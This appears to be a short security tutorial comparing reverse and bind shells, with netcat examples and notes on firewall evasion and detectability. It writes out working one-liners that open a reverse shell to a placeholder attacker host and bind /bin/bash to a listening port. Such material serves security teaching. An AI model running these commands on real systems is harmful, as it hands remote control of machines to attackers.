Reverse Shell Vs Bind Shells

Reverse Shells

A reverse shell is a type of shell session where the target machine connects back to the attacker's machine. The attacker sets up a listener on their machine, and when the target system is compromised, it initiates a connection to the attacker's listener. This connection allows the attacker to execute commands on the target system and receive the output back through the established connection.

In simpler terms, think of a reverse shell is like a phone call where the target computer (the victim) calls the attacker's computer. The attacker sets up their computer to receive the call (on their listener), and when the target is compromised, it calls the attacker's computer to establish a connection. This allows the attacker to control the target and run commands on it.

Let see it practically with netcat.

Netcat is a simple yet powerful tool that allows us to establish connections between computers over a network. It's often referred to as the "Swiss Army knife" of networking because of its versatility and wide range of uses.

```
# On Attacker machine

nc -lvnp 4444

# On Victim machine

nc attackerip 4444 -e /bin/bash
```

Bind Shells

So In contrast, a bind shell is a shell session where the target machine opens a port and listens for incoming connections. The attacker then connects to the open port on the target system to gain remote access. The target system is essentially "binding" a shell to a specific port, waiting for the attacker to connect.

Taking the phone call analogy here once again, we can say that -

In bind shell, the attacker is calling the target computer. The attacker finds an open port (like a phone number) on the target and binds a shell to it. The attacker then calls that port on the target to gain remote access and control. The target is essentially waiting for the attacker's call on that specific port.

Let see this with netcat

```
# Victim machine

nc -lvnp 4444 -e /bin/bash

# Attacker machine

nc -v targetIP 4444
```

Differences Between Reverse Shells and Bind Shells

- **Connection Initiation**: In a reverse shell, the target calls the attacker. While In a bind shell, the attacker calls the target
- **Firewall Considerations**: Reverse shells can bypass firewalls that only allow outgoing connections, since the target is initiating the call. Bind shells may be blocked by firewalls that don't allow incoming connections
- **Detectability**: Bind shells may be easier to detect because they have an open port listening for incoming connections. Reverse shells on the other hand, can be more stealthy as the connection is initiated from the target system
- **Persistence**: Reverse shells provide more persistent access since the attacker's computer is always available to receive calls. But on the other hand, Bind shells rely on the target staying accessible and the port state as open.
